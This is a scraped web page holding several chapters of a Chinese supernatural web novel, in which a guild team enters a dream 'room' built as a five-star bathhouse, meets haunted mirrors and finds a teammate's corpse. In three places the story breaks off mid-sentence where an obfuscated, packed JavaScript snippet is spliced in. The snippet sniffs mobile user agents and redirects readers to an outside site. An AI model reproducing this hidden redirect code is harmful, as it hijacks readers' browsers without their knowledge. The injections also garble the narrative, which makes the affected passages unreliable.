眼看话题即将跑偏,宁霜也插了进来,提醒祖丽:“丽姐,不如你还是说说,咱们进‘房间’里需要注意什么?” “咳。对。”祖丽道,“说回‘房间’,目前灵界中已被发现的房间都交给有资质的机构运营,出租给精神力富足的梦灵,满足他们梦境的需求,我们今天要进入的是编号为1408号的‘房间’,目前的房主是赖星星……” “哇!还有编号?不是说房间很紧缺吗?”苇思航见缝插针。 祖丽说到一半被打断,也不在意,好脾气道:“紧缺是针对工会而言。咱们工会名下只有这一个‘房间’,不代表整个灵界只有这一个嘛。所有的房间都要报告给界域处登记管理,估计早就超过……呃,这里是1408……估计,至少两千个了吧?这还只是被发现登记在册的……再想想梦灵又有多少?所以归根究底,‘房间’还是稀缺资源……等等,我刚刚说到哪里来着?” “现在的房主是赖星星。” “哦对!” 按祖丽所说,原来赖星星作为这个房间的长期房客,已经待了快三年了。据说她长期受到失眠和焦虑症状困扰,精神状态不太稳定。 苇思航讶然:“可是能在‘房间’里待上三年的人,不代表她的精神力很是富有吗?如果精神状态不稳定的话,她的精神力又是从哪里来的?” “赖星星曾经是超级大明星啊!你是不是不知道她曾经有多火?” 苇思航挠挠头:“这个是真不太清楚……” 祖丽笑了起来:“那你该让卫健伟给你介绍一下!他可是赖星星的狂热粉丝呢!” 原来,他们刚才来的一路上,取笑卫健伟的正是这件事。车上收藏的大量早期赖星星周边和专辑说明了一切,尽管卫健伟多次强调本人已经脱粉,要和现在的赖星星切割——不过没人听他的。 剩下几人恍然大悟。 辛恬眼睛一转,若有所思,仍然没说话。 宁霜哼一声:“原来如此。刚才我就看见他车里好多周边摆件,没来得及说,这种车上路很危险,被抓到是要扣分的……” 眼看着话题又要跑偏,被苇思航拉了回来,她苦哈哈道:“不是吧……这样也行?” 自己精神力不济,靠粉丝也算? ——为什么不算? “对啊。有追了她不下十年的粉丝呢,凭着一腔热爱,够给无机物附灵了都。她现在就算躺在‘房间’里啥也不干,精神力账户也哐哐进帐,没办法呀。”像是看出了她在想什么,祖丽伸手安慰一样拍了拍苇思航的肩膀,“我也是听卫健伟说的,赖星星当年的盛况。假设不出那些有的没的,再红个几年,说不准啊,现在都成恒灵了!” 苇思航:“……” 祖丽接着道:“世道就是这样子啦,没什么公平可言的……不过也不用太羡慕她,我来几次了,说实话,觉得她日子也不太好过呢。一会你见到她可能就懂了。” 苇思航忙不迭点点头。 “房间”可以根据房主的需求外化,那要他们“客房服务”的意义是? 苇思航正要继续问,周围的环境霎时一变,她止住话音。 低垂的天空四角好似出现了三条坐标轴一样的折痕,光影随之一变,似乎有一个看不见的人折着一个纸盒子,把她们都装在里面。 祖丽似有所感,也抬头看去,宣布:“来了。” 地上开始升起乳白色的温热雾气,连带着附近的温度持续升高,视线变得模糊不清。只知道室外变成了室内,夜空看不见了,她们站在“房间”中央,四周出现了墙壁,朝上延申的横梁在半空中交握,构成优雅的拱顶,散布着柔和而不刺眼的射灯光源。 这是…… 苇思航的眼镜上雾气弥漫,身体迅速被蒸出汗意,外衣黏在湿漉漉的皮肤上,让人很想把衣服脱下来,痛痛快快洗一个热水澡……别说,吸入充满水汽的温暖空气,她恍惚有种自己此时身处洗浴中心大澡堂子里的错觉…… 还真被她说对了。 几步之外,一个鹅卵石砌成的温泉泡池正在蓄水,水位肉眼可见地上涨,池边漾开泡沫;身后不知何时多出八个隔间,黄铜莲蓬头一齐开启,发出雨季丰沛的落雨一般的沙沙声。脚下的大理石地板取代了郊外土地,被源源不断的热水冲刷的又亮又光滑。 欢迎来到房间。 * “喂!想什么呢?” 一池热水,水蒸气如烟如雾,男浴区与女浴区的格局如出一辙,此时中央的泡池被男大三人组占领,齐翰,秦王朝,叶原秋三人一起进入,池子一下子显得小了不少。他们成三方合抱之势,背上靠着温润的鹅卵石,舒服的眼睛半闭半睁,热毛巾搭在额头,只要稍微伸直腿就能碰到彼此。 泡池旁的机器持续朝水面吐着白色的绵密泡沫,挡住了水面下的视线,避免眼前的场景变得更加基情。 “要是有煮鸡蛋吃就好了!”——三人中韩式刘海的那个是齐翰,他的脸被泡的红红的,似乎有点缺水地张着嘴巴。 其他两个人同样可以用发型来区分,海胆头的那个是秦王朝,叶原秋梳着大背头。 听了齐翰的话,秦王朝笑道:“你小子,真以为来汗蒸了?” “嘿嘿。” “早知道这么舒服……” 刚遇到澡堂出现的时候,他们也着实吓了一跳,好在有邹杰伦主持大局,很快,不再慌乱的众人主动享受起“房间”的福利……神经也够大条的。 要知道,这里不久前还是荒郊野岭啊! 事实就是,他们来到了“房间”。经过长达三年的改造,房间里的外设俨然成了一座成熟的五星级度假山庄,足以满足房主赖星星的一应需求。高级澡堂,也是这里的众多设施之一,外人进入先要通过澡堂,才能进入房间中的其他区域。 看来赖星星已经入梦,不过他们一点都不着急,还在享受着难得的高级浴池私汤体验,这种感觉无疑于中了大奖,要知道,平时做有关洗澡的梦……多的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“刚才说了啊,房间的开放时间大概是12个小时。”邹杰伦道,“噢,当然,如果你在这里死了的话,可能也能出去吧,我猜的。” 他似乎是开了个玩笑。笑点可能在于,沈威是个醒不过来的梦灵,死了会发生什么? 眼前的两个观众没什么反应,邹杰伦有点尴尬,咳了一声。 沈威得知了12小时禁烟的噩耗,一副生无可恋的样子:“我是想问,咱们什么时候从这里出去。” 如果他没记错,他们是来干活的,不是来洗澡的。 卫健伟也跟着道:“对啊,赖星星……现在在哪里等着我们呢吗?我们要见她吗?呃,倒不是说我很期待的意思……” 邹杰伦挠了挠头,这俩人这么积极,显得他好像觉悟很低的样子……嘴上敷衍道:“不急。12个小时呢,一会有的是时间。” 卫健伟点点头,随口接话道:“也不知道女浴那边怎么样了……” “哇!你变态啊!”邹杰伦抓住他的把柄一样,大声取笑他。 卫健伟涨红了脸:“我不,不是那个意思……” 卫健伟算是撞枪口上了。邹杰伦憋屈了一天,正愁找不到地方发泄,一手把卫健伟的头压着,夹在腋下挤兑:“我看你刚才洗澡慢吞吞的,说!在里面磨蹭什么呢?” 卫健伟慌了,被拽着转了一圈,嘴里叫屈:“我什么也没干啊!我,我是南方人,之前没来过澡堂子……” 他晕头转向,想挣扎,又怕惹恼邹杰伦,不过很快,他发现卡在脖子上的手臂松开了。 邹杰伦揽着卫健伟转了一圈,目光不经意扫到泡池,不知何时,里面只剩下叶原秋一个人,不远处,那个海胆头——名字叫什么来着——秦王朝腰上草草围了浴巾,站得离旁边的落地镜很近。 邹杰伦顿时一凛,高喝:“离镜子远点!” 一眼晃过,叶原秋,秦王朝,镜子里秦王朝的影子,正好是三个人。 等下,不对……齐翰到哪里去了? 46. 45. 观我(二) 苇思航抹了把脸,伸出手,随意在面前的镜子上划拉几下,蒙了一层水雾的镜子便清晰了,里面映出她的脸,她不知想到什么,松了一口气。 刚刚热水澡后的脸白里透红,像是剥了壳的鸡蛋一样细嫩柔软……至少有过一次,浴后自信心也被泡涨了似的,短暂地沉浸在自己的美貌中,像是稍纵即逝的魔法。 苇思航面无表情地掏出眼镜戴上,眼前的一切就更加清晰了。 肤色虽白,到底不像年轻时那样水润,像是吸不进水的海绵,一不留神就多了干纹,显得些许干瘪。脸的走势是向下的,连眼尾都是,显出一股平静的魇足,该死的地心引力…… 浴室里源源不断的热气蒸腾,转眼又将苇思航的眼镜镜片糊住,她只有无奈地摘下来,第一百零一次用干爽的浴巾裹在手中擦拭。 雨林瀑布一般的水声暂歇,她听见身后传来湿哒哒的脚步声。 她总有一种错觉……刚才在淋浴间里也是。 说起来,这是她第一次在灵界洗澡,算是梦到了吧。 不过……至少梦到过一次吧?洗澡的场景,可能是在家,可能是公共浴室……热气蒸腾,水雾弥漫,肥皂划过身体的触感,像是抓不住的灵光一现,热水把一切冲刷,裹着泡泡打着旋儿顺着地漏流走,你心情愉悦地哼着歌,舒服地一只手指都懒得抬。 热水源源不断,宛如一场豪雨,从头顶坠落,将你完全俘获,你却提不起心思抵抗。像要把一切融化,热水钻进耳朵,入侵大脑,感官也变得模糊不清……哎呀,不好,泡沫流进眼睛里了。你紧闭双眼,一边冲水,一边伸出手摸索,朝着肥皂的方向,半空中的指尖突然畏怯……你怎么能确定,摸到的一定是肥皂,不是别的什么东西呢? 浴帘无风自动,你突然想起希区柯克的惊魂记里的画面,猛然转过头去—— 什么都没有发生。 ——苇思航也警惕地朝脚步声转过头去。 “嚯!干嘛?”祖丽一手揪着胸口的浴巾,被吓了一跳。 “……没事。” 苇思航又听见两道脚步声。很快,宁霜也出来了。 “好香啊!”——宁霜出浴的第一句话是。据她说,沐浴用品是一种很清幽的木质香调,赞一句,不愧是五星级规格! 正对着浴室隔间。一排亮着光的梳妆镜,嵌在极其名贵的大理石材内侧,凸出的台面上护理产品一应俱全。大理石的花纹如同发丝一般混杂在其中,上面凝结了一层细密的鸡皮疙瘩一样的水珠……还是那句话,这里真是一个相当高档的澡堂子啊! 和不久前的苇思航一样,前后脚出浴的祖丽和宁霜也下意识朝着镜子走去,像是被灯源吸引的飞虫。她们盯着镜子里的自己欣赏了一会,很快,也经历了如出一辙的幻灭。 不同的是,她们开始上手了。 宁霜对自己脸颊上的痘痘忍无可忍,动手去挤,在红肿的痘痘周围掐出月牙一样的指甲印;那边祖丽则开始焦躁于自己的唇毛痕迹太重,急躁地拆下刮刀的刀片,手一抖,不出所料在上唇留下一道伤口,正在渗出血珠。 她被疼痛蜇了一下,手里握着刀片,突然有点茫然似的,看向镜子里的自己。 镜子迟迟没有再泛上新的水雾,祖丽在里面看到了自己,还有此刻站在她身后的,苇思航的脸。 两人的目光在镜中相遇,都是惊讶与不解,正要做些什么……苇思航听到身后再次传来脚步声。 "啪!" 一条湿漉漉的浴巾从后方甩过来,重重拍在镜面上。 还没等她们反应过来,第二条、第三条浴巾接连飞来,像一只受惊的白鸟,扑棱棱地撞向镜面。 “离镜子远一点。”那人沉声道。 ——竟是辛恬。 挤痘中的宁霜如梦方醒,停下手一脸茫然:“镜子咋了?” 此时的祖丽已经完全清醒过来,按照辛恬所说,拉着她后退一步:“这镜子有古怪。” 祖丽一转头,又颇为意外地看着辛恬,直爽道:“啊,原来你不是缺心眼儿啊?” “……” 在此之前,辛恬给其他人的印象:神秘的冤大头,缺心眼的吃货。 连跟她更为亲近的苇思航也不得不承认:嗯…… 辛恬一默,催促几人快从这里出去,变相坐实了自己的人设。 她指指自己的肚子,模样十分虚弱:“……快要饿晕了。” “……” * 热水澡使人精神松懈,澡堂镜子的小插曲又给客房服务的众人上了上弦。 哦对,他们来这是有正事的呢。 ……谁知道具体是啥来着? 想到这里,苇思航加快脚步,追上不远处的祖丽,总算问出了那个问题:“丽姐,咱们要做的‘客房服务’,究竟是做什么呀?” 这个时候,她们一行四人出了澡堂,正走在一条长长的纯白的走廊上,通往的目的地未知。但没有办法,从澡堂出来,就只有这一条路。 祖丽看了她一眼,又顺势扫到一旁的辛恬,道:“你不是不愿意来的吗,你和辛恬,你们俩只用顾好自己就行。” “……” 苇思航如鲠在喉。祖丽其实是好意,只是有点一根筋,对话便有点无以为继。 好在旁边宁霜也道:“丽姐,你跟我们说说呗,不然再遇到刚才那种情况,我们都不知道如何是好了。” “对哦,”祖丽被提醒了,又道,“其实吧,刚才那种情况,我也是第一次见,所以没来得及提醒你们……之前呢,每次就我一个女的,当然不敢一个人在澡堂洗澡,更别说照镜子了,我每次都是在外面等其他人好,谁知道今天第一次享受到房间的福利,结果给自己划了一道,惨兮兮的……” 苇思航发现,祖丽好像很容易被转移注意力的样子,想到哪,就说到哪,祖丽这时突然转向辛恬:“那你呢,你怎么知道镜子有问题的?” 辛恬有气无力,好像刚才的一番动作已经耗尽她全部的心神,过了一会憋出一句:“我猜的。” “猜的?挺厉害啊!不过总要有什么依据吧?” “我是看电视里……。” “电视?” “对。恐怖片里经常有嘛,对着镜子着了魔,啥的。你们刚才那样子,我一下就想到了。” 祖丽面上一喜:“啊,你也喜欢看恐怖片啊?” 苇思航在旁边听着她们的对话,快要忍不住了。说重点啊啊啊! 就在她要强行插入改变对话走向的时候,祖丽总算问到一个关键问题。 “——所以你来‘房间’是做什么的?” 转折的相当生硬,辛恬一愣。 苇思航低下头,不由得也跟随其他几人的节奏放缓脚步,拉长耳朵。目光垂下,她顺便注意到,白色走廊两侧的踢脚线附近装着轨道一样的东西,一个银色的东西从反方向沿着滑道朝她们靠近,随后就一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907341|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直跟着她们,亦步亦趋。 她没看错吧?那云台上架着的好像是……手机? 她分神了一秒,继续留心听辛恬的回答。对辛恬感到好奇,实在是太正常的一件事了。苇思航看到祖丽眼中闪过的冷光,顿时明白了什么。 四周很是安静,三人看着辛恬,在等。这个来路不明的神秘“游客”…… 辛恬突然笑了。 “当然是因为……我有钱。啊不,应该说,精神力吗。” 她耸耸肩,周身气质一变,散发着让人无法忽视的气场,撩起长发,像是顺势摆了个pose,,不知是有意还是无意,把自己好看的那半张脸对向一旁的手机摄像头。 她眨眨眼:“我和赖星星长得像,你们快要好奇死了吧?你们想问的其实是这个对不对?” 她们这四个人里,好像没有一个缺心眼的…… “我呢,其实是个颜值主播。” 终于,辛恬揭晓谜底,朝三人露出标志性的清纯浅笑。 赖星星是红极一时的大明星,虽然告别公众已久,江湖上依旧流传着她的传说。即使外表跟赖星星只是有三分相似,蹭上话题度,也足以在主播这个行业里杀出一条血路。而辛恬,凭着这张公认妆后和早年赖星星有七八分相似的脸,几乎火到了主播圈外,如今也成了一个不大不小的公众人物。 “难道你们都没听说过我吗?”辛恬与剩下三人面面相觑。 倒是给点反应啊,搞得她好像有点自恋一样…… “……” 这属实是难为她们了。辛恬想想,虽然有点不爽,不过鉴于她们几个连正主赖星星都像第一天才知道,也就算了。 宁霜第一个打破沉默开口:“所以你的精神力来源……” “就和赖星星一样。”辛恬回答,想了想,加上一句,“当然跟她还是有差距……” 这样故作谦虚的话,她从前不知道在镜头前说了多少遍,一般还要加上一句“敬爱的前辈和榜样”避免粉丝攻击,不过今天在灵界,她终于可以扬眉吐气! “真的要说的话,我自身的精神力,可是比她不知道强到哪里去了!”辛恬道,“粉丝们给我的精神力我都存着呢,不像她……靠着老本维持这个‘房间’,估计每天都要花不少吧?我还年轻,还没到最红的时候,哼,等着吧,我迟早会超过她的!” 辛恬头一次在人前说这么多话,胸口起伏着,语气缓和下来。 “不过我也知道,我现在想要多红一点,红久一点,就要更像她一点。所以呢,我提前知道了她在‘房间’里,就找了过来。我必须比所有人都了解她,也包括她的内心世界……我觉得来这里一趟或许可以给我答案。我说得够清楚了吧?” 宁霜、祖丽、苇思航一齐点头:“清楚了。” 祖丽不禁感叹:“你真是一个敬业的替身啊!” 说这话时,她好像又回到了之前那个单纯直爽的大姐大,让人怀疑她在阴阳怪气,可是又找不到证据。 辛恬就像没听到,呜咽一声,找准苇思航的所在,表演了一个几欲晕倒:“现在我可以吃东西了吗?没开玩笑,我真的要饿晕了呜呜呜呜……” 苇思航:“……” 果然还是几个缺心眼儿的氛围比较友好……等等,可是苇思航到现在也还是不知道,她们来这儿客房服务是做啥来了啊! 说话的功夫,四个人已经抵达走廊尽头,一扇关着的门在那里等着她们。 47. 46. 观我(三) “客房服务”的内容,在出发之前就有人问过,其实是有官方答案的。 他们要做的,很多,也很少。 很简单,也很复杂。 一句话,但凡是房主要求的一切,他们都有义务帮其达成。 想不到吧? ——不然以为“房间”又被叫做美梦成真屋是为什么? 1408号房间从一无所有,到现在五星级酒店的外观,全都是按照房主的意图,拜经年累月的客房服务所赐。 准确的说,实现这一切也不是客房服务的他们,而是“房间”本身具有的力量。那可能有人要问了,既然是房间本身的力量,而且房主具备充分的精神力,为什么还需要多此一举? 显然,不是所有人都能掌握那种大规模外化的力量,甚至,这还是一种相当稀有的能力。当然也有熟练掌握的房主,但可惜,赖星星不是其中之一。这种情况下,客房服务的存在就很有必要了。 房主提出需求,客房服务解决问题。剩下的事就该现今客房服务小队负责人的邹杰伦操心了。事实上,他时常自我怀疑,他真的能做到吗?更多是恐慌……他究竟要做些什么?倒是谁来说下啊! 这事懂得都懂,不懂的说了也没用。邹杰伦何尝不是走一步,看一步。 在他之前,负责客房服务的是——路蒙。 每每想到这里,邹杰伦的心里泛上一股酸意。在路蒙失踪之前,深受老板娘钱得乐器重,那个时候,邹杰伦还只是个每天坐客服柜台的菜鸟。 路蒙每次去房间意思意思带五个人就够,人数少了,赚来的小费扣除成本是一笔可观的数目,大都进了他的腰包,不忘跟钱得乐分账。也因此钱得乐满意他——怪不得呢。 邹杰伦接手房间属于赶鸭子上架,但他也是有追求的!总是免不了把自己和之前的路蒙拿来比较。在真正进入房间之前,他找到曾经和路蒙一起进去房间的司机,问他们在里面的时候都干了些什么? 但凡房主要求……一番假大空屁话飘过,被问到的司机不好意思回答:“也没啥,我在里面和其他人打牌来着。” 打牌? 对方挠挠头,诚实道:“路蒙和祖丽姐把我们剩下四个人放棋牌室就走了,等快结束的时候再来叫我们。我也不知道外面发生了什么。” 邹杰伦:“……” 那人继续道:“我们都还猜呢。我记得房主那几天想修个什么,那个地方我们进去的时候还没有,出来的时候就建的差不多了,估计就是他们忙叨出来的吧。” 在房间里……建房子? 可是他们才在里面几个小时而已……是魔法吧? 所有访问对象都不约而同地表示,这活儿实在是再轻松不过,公费出差的即视感,他们好多人连日租都没好意思要,反过来对体验感赞不绝口。 邹杰伦一番问询下来,毫无收获,心里的疑惑却越来越大,他也不是没想过求助钱得乐。 听了他的话,钱得乐湛蓝的眼睛眯了起来,语气难掩失望:“真抱歉,你是在说没法胜任路蒙的工作吗?唉,不是你的问题,是我,可能是我太强人所难了吧……” 没等她话说完,对着那双蛊惑人心的蓝眼睛,邹杰伦将心一横,打断:“没有的事!我很有信心!” 他握紧拳头,下定决心,假如就是要建房子……大不了他也用这双手去搬砖! 钱得乐的目光亮起,脸上露出满意的微笑:“那太好了!”又加上一句,“工会里的人你尽情使唤,想带多少人都可以!” 邹杰伦心想,他不会客气的。 这条路也被堵死,他只剩下一个选择——去找有经验的祖丽。鉴于她和路蒙曾经一起行动过,或许知道些什么吧? “很简单。”——祖丽的第一句话是。语气理所当然。 邹杰伦头上青筋暴跳,心想如果下一句话是“房主要求的一切……”他一定会发火的! 好在没有,祖丽想了想,道:“我记得赖星星的要求,好像就那几个。其实都是有套路的啦。” 邹杰伦心中一松,再一喜。 “她那几个重要节点,只要掌握了就行。呐,这本是之前路蒙借给我的房间日志,他走之前留下的……你去之前可以看看,提前准备一下。” “那真是太感谢了!” “没关系。小事儿。” 邹杰伦如获至宝,仿佛看到了曙光,满怀兴奋地打开1408房间日志。这本日志首次记录于三年前,从前后不一的字迹可以得知,路蒙绝不是它第一个主人。 “2022年1月2日,房主赖星星入住,工作内容:上任房主游乐园区部分拆除,度假酒店项目起建。T0项目:瑜伽教室。时效要求:深度睡眠前。地点,主体三楼。视觉要点:湿婆摆件和喜马拉雅盐灯务必逼真,照明约400流明……” 艰难破译出这则笔记,邹杰伦的嘴角又垮了下去。好了好了,他知道房间里的一切都是后来造的,可是光看描述,鬼能知道是怎么造的……还有,谁家好酒店从三楼开始造啊? 他郁闷地揉乱头发,接着往下看,只能寄希望于酒店内部都建造的差不多了,不用他额外费功夫,否则他也只能两眼一抓瞎了。 祖丽所说的“套路”,又是什么? 快速往后翻页,依次记录了早期地下室,影音室,录音棚……竟然还有微缩竖店影视城的建造过程!可以看到,随着设施的逐步完善,客房服务的内容产生了变化。 邹杰伦在某一刻突然了悟,这整一个酒店,其实不就是一个类似竖店影视城的地方吗?布景搭好,就该登台唱戏了。 他耐心不足,直接翻到最近的记录,辨认着,又或是猜测着路蒙狂草的笔迹,灵界阅读困难,好在这部分内容足够简洁。 2025.8.17心理咨询师谈话 2025.8.18手术日程 2025.8.20演唱会Day1另:勿忘人工降雨 2025.8.21演唱会Day2 …… 2025.8.23咨询师谈话 2025.8.24手术日程 2025.8.25太好了!是spaday!另提前完成一期工程修缮工作 2025.8.26演唱会Day1另:别忘了人工降雨!明天也要记得 …… 几个场景反复出现……就是祖丽所说的重要节点吧?在每条记录的后面,还标注了时间,最早的时间是4:30,大多数在6到7之间不等,可能是客房服务结束的时间?邹杰伦觉得自己好像掌握了某种规律——估计只能在未来的实践中得到验证了。死马当活马医吧。 转眼,这已是他第三次带人进入房间。 前两次依次是咨询师谈话、手术,他都在祖丽的辅助下应付了过去,倒是没出什么岔子。如果猜的没错,今天是演唱会,那可是大场面啊……因此,他带了尽可能多的演员,本来还想带更多来着……要不是祖丽说,之前即使是演唱会,她和路蒙两个人也够了,邹杰伦妥协:……好吧。 他现在后悔了。人啊,果然还是不能逞强…… 从男澡堂出来,同样是一条长长的白色走廊,引着邹杰伦等几人往前,他们脸上的表情如出一辙,就和此时的走廊一样,一片空白。 难以想象这个度假山庄具体的构造,只知道“房间”里面多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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咦?怎么只有五个人? 听见门那边传来的动静,站着的那五个人抬眼,正与女生们好奇投来的目光对上,没有人开口,令人不安的沉默在蔓延。 那少了的最后一个人现在正躺在地上,白色的浴巾将他的全身盖住,也覆住了他的脸,浴巾下面显出脸的轮廓,像是一尊冷冰冰的石膏塑像,望去足够让人全身冻住的一眼。 一股寒气从脚底升起。 祖丽睁大眼睛:“这,这是……” 女生四个神色凝重,反是男生那边先行崩溃,韩式刘海齐翰带着哭音道:“叶原秋死了。” “什么?!” 来的路上,齐翰这句话已经说了不知多少遍,自责道:“都怪我!” 他身边的海胆头秦王朝肿了一只眼睛,一手默然按住室友的肩膀,也不知是第几遍安慰:“不是你的错。” “就是我!” “不,不是你,我不许你这么说!” 众人:“……”不是,大家都有点磕你俩了。 拜他们令人流汗的台词所赐,剩下几人的反应先是惊吓,慢慢变成了尴尬,还有令人抓耳挠腮的疑问。 究竟发生了什么事?!叶原秋怎么死了? …… 事情说回不久前。 男浴室里,邹杰伦压着卫健委正闹着,一回头,见圆形泡池里只剩下叶原秋一个人,秦王朝像是着了魔似的,一步步朝镜子里自己的身影走近。 那一刻,邹杰伦突然福至心灵,想到了日志上惊鸿一瞥的警告,脱口而出:“离镜子远点!” 48. 47. 观我(四) “啊——!”听见邹杰伦的声音,秦王朝也猝不及防发出一声痛叫。 “痛痛痛!好痛!”他捂着眼睛,弯下腰,表情狰狞。 “怎么了怎么了?” “……我的眼睛!戳到了!”秦王朝回答,语带抱怨,“喊什么喊啊?吓死我了,幸好我手指甲不算长,希望没伤到角膜……” 大量眼泪从他的右眼涌出,上下眼皮像是被胶水粘在一起,睁不开,肉眼可见有点红肿,不过算不得什么大事。 一阵强烈的鼻酸,秦王朝两只眼里都涌出了生理性的泪水,一片模糊的视野里,他看到年纪最大的沈威走到他身边,心中正一暖,却见对方绕过了他,反而去看那镜子,表现的十分好奇:“小邹,你说这镜子有什么问题?” “……” 在沈威之后,邹杰伦和卫健伟也从另一头赶来,卫健伟总算离开邹杰伦的挟制,主动拉开距离,心不在焉问了一句秦王朝:“诶,你没事吧?” 秦王朝没好气,夹带着浓重的鼻音:“你说呢!” 沈威看那镜子半天,硬是没看出什么所以然来,邹杰伦黑着脸,说一不二地扯过一张浴巾,盖在那镜子上,强撑着所剩无几的威信:“小心点准没错。” 说完,他先发制人,转头数落秦王朝:“你个大老爷们,没事照什么镜子?” 秦王朝气道:“我眼睛有点不舒服,想凑近看看怎么回事,要是你不鬼叫,本来是没事了。” 邹杰伦反唇相讥:“我只是让你离镜子远一点,又没让你戳自己眼睛,你眼睛不好,耳朵也有问题是吧?” “你——!”秦王朝气急又嘴笨,憋红了脸的样子看起来有点可怜。 卫健伟在一旁不太坚定地劝架:“喂,你们两个别吵了,多大点事……” 邹杰伦本来也没想跟秦王朝吵,别开眼睛,冷哼一声:“齐翰到哪里去了?” “对哦,齐翰……”卫健伟左右张望,好像是少了一个人…… “齐翰?”秦王朝一双眯眯眼左顾右盼,“他刚刚还在这儿啊。他说泡久了有点闷,出来透透气。” “总共就这么大点地方,他能跑去哪。”沈威觉得其他人有点小题大做,嘴上那样说,脚步已经动了起来。 邹杰伦心里有种不好的预感,臭着一张脸,脚下也动了起来找人,卫健伟见沈威和邹杰伦都动了,他也没有不动的道理;眼看三个人都走了,秦王朝缓了缓,心中暗骂,也跟了上去。 这浴室着实不小,以淋浴区和泡池区为起点朝外探索,原来别有洞天。地面湿滑,他们几人走的不太快,体感走了有一会,周围感觉愈发空旷了。 白茫茫的水蒸气像是浓雾一样充塞了周围的一切,只能看到同行人淡淡的像是水墨画一样的人影,耳边听见秦王朝的声音在絮絮叨叨:“操,我眼睛进水了,肯定要感染发炎了,不开玩笑……” 一开始十分恼人的声音,到后面竟然成了让人安心的存在,雾气越来越浓了,几乎把身边人的身影也淹没,没听见下句,卫健伟温吞的声音响起:“喂,秦……王朝,你还在吗?” 没有人应他,卫健伟感觉身边围着一圈模糊的影子,不知道是人影,还是他的倒影,又或是其他,心里发虚,口是心非道:“你眼睛怎么样了,秦王朝?” 回答他的依旧是一片沉默。 他们不知道走到哪里来了。天花板上还有灯亮着,那灯光也是雾蒙蒙的,像小时候走夜路时看见过的月亮。卫健伟胆小,心里打鼓,他知道身边有人,可认不出谁是谁。他也不敢去数那影子有几道,心里做起了选择题,是少一个人可怕,还是多一个人更可怕? “喂?秦王朝?你说话呀?”卫健伟的声音像要哭了。 过了一会。 “我x,你烦不烦啊?”熟悉的声音终于响起,没有之前那样活泛了。 卫健伟正一喜,紧接着听见踩过水的塑料拖鞋在湿湿的地板上啪嗒啪嗒的声音,由远及近,好像在追赶着什么似的,他背上冒出冷汗,又要开口。 咕噜噜。 一个东西滚到他的脚下停住。 卫健伟骇极,想要不顾一切地大叫起来,救命啊!! 不过在那之前,另一道声音比他更快:“太好了!是你们!” 迎面正遇上大部队的齐翰几乎喜极而泣。 原来他们走到了桑拿室附近,刚好在此时,像是提前设置好的程序,一盆水倒在滚烫的石头上,发出刺啦刺啦的声音,激起一片浓雾。浴室天窗附近的换气扇被唤醒了,像是终于想起了自己的使命,开始由慢到快地运行起来,屋内过于浓郁的雾气转眼间被驱散,显出白茫茫之下的原貌。 浴室还是那个浴室,出发寻人的四个人变成了五个人——齐翰回来了。齐翰情绪激动,刘海软趴下来,一绺一绺地贴在额头上,显得十分狼狈,他浑身打颤,一把鼻涕一把泪,恰似绝处逢生。 眼前看的清了,齐翰才发现自己救命稻草一样抱着的人是邹杰伦,两个人不太熟,都有点尴尬。邹杰伦不做声将齐翰推开,顺势转交给他的半瞎子室友,齐翰重整旗鼓,在亲室友秦王朝的掩护下,劫后余生地放心大哭。 其他几人不知所措,一旁卫健伟摸了摸鼻子,有点尴尬,庆幸刚才自己没有嗷一嗓子,否则会更尴尬……他还得谢谢人齐翰呢!他弯下身,捡起他脚边那个东西。笑自己脑补过头。 那是一瓶易拉罐饮料,摸着外壳水淋淋的,还有些凉意。 他目光一扫,看到众人清一色的光脚,又呆了一下。 刚才应该是他听错了……吧? 齐翰惊魂未定,五个人商量着回去叫上叶原秋,赶紧离开澡堂。回去的路上什么都没发生。 直到—— “叶原秋,泡多久了?又睡着了?嗨嗨,该走了,快起来了。” “……叶原秋?” 叶原秋身体一歪,散了架一样,从池边滑落。他无知无觉地沉入池底,又缓缓上浮,水中绽开一朵血花,把白色的泡沫染成了艳丽的粉色。 * 九人重聚的大堂里,地上躺着叶原秋的尸体,气氛十分凝重。 祖丽最先反应过来,她也算是见过大世面的人了,蹲下身子,似乎想要掀开叶原秋脸上的浴巾。 “等等。”卫健伟脸色发青,出声阻止,“有点恶心,还是别看了吧。” 祖丽一脸莫名:“你们不是都看过了。”她回头,对着剩下三个女生道,“你们有意见吗?” 三人眉头紧缩,没有回答,宁霜拿袖子紧紧捂着鼻子,似乎空气中充斥着某种恶臭。 祖丽对她们的反应还算满意。她的意思是,她看定了,剩下人要是不想,可以闭上眼睛不看。 白色的浴巾被掀开,露出其下叶原秋的死状。 肌体胀大,皮肤泛着青色,下面组织像被溶解了,渗出红色的血,黄色的组织液,混在一起却是五彩缤纷。 卫健伟的脸和五官紧紧皱在一起,感觉再多看一眼就要吐了。 祖丽仔细观察了一会,重新给尸体盖上浴巾。 “死因是什么?”她随口问一旁的卫健伟,除他之外,剩下几人像是灵魂出窍。 卫健伟忍住呕吐的冲动:“不是溺水吗?” “尸体上看起来有被施暴的痕迹,这个巨人观的程度,看起来至少在水里泡了一周了。” 没人应答。卫健伟白着脸,摇摇头,又摇摇头。 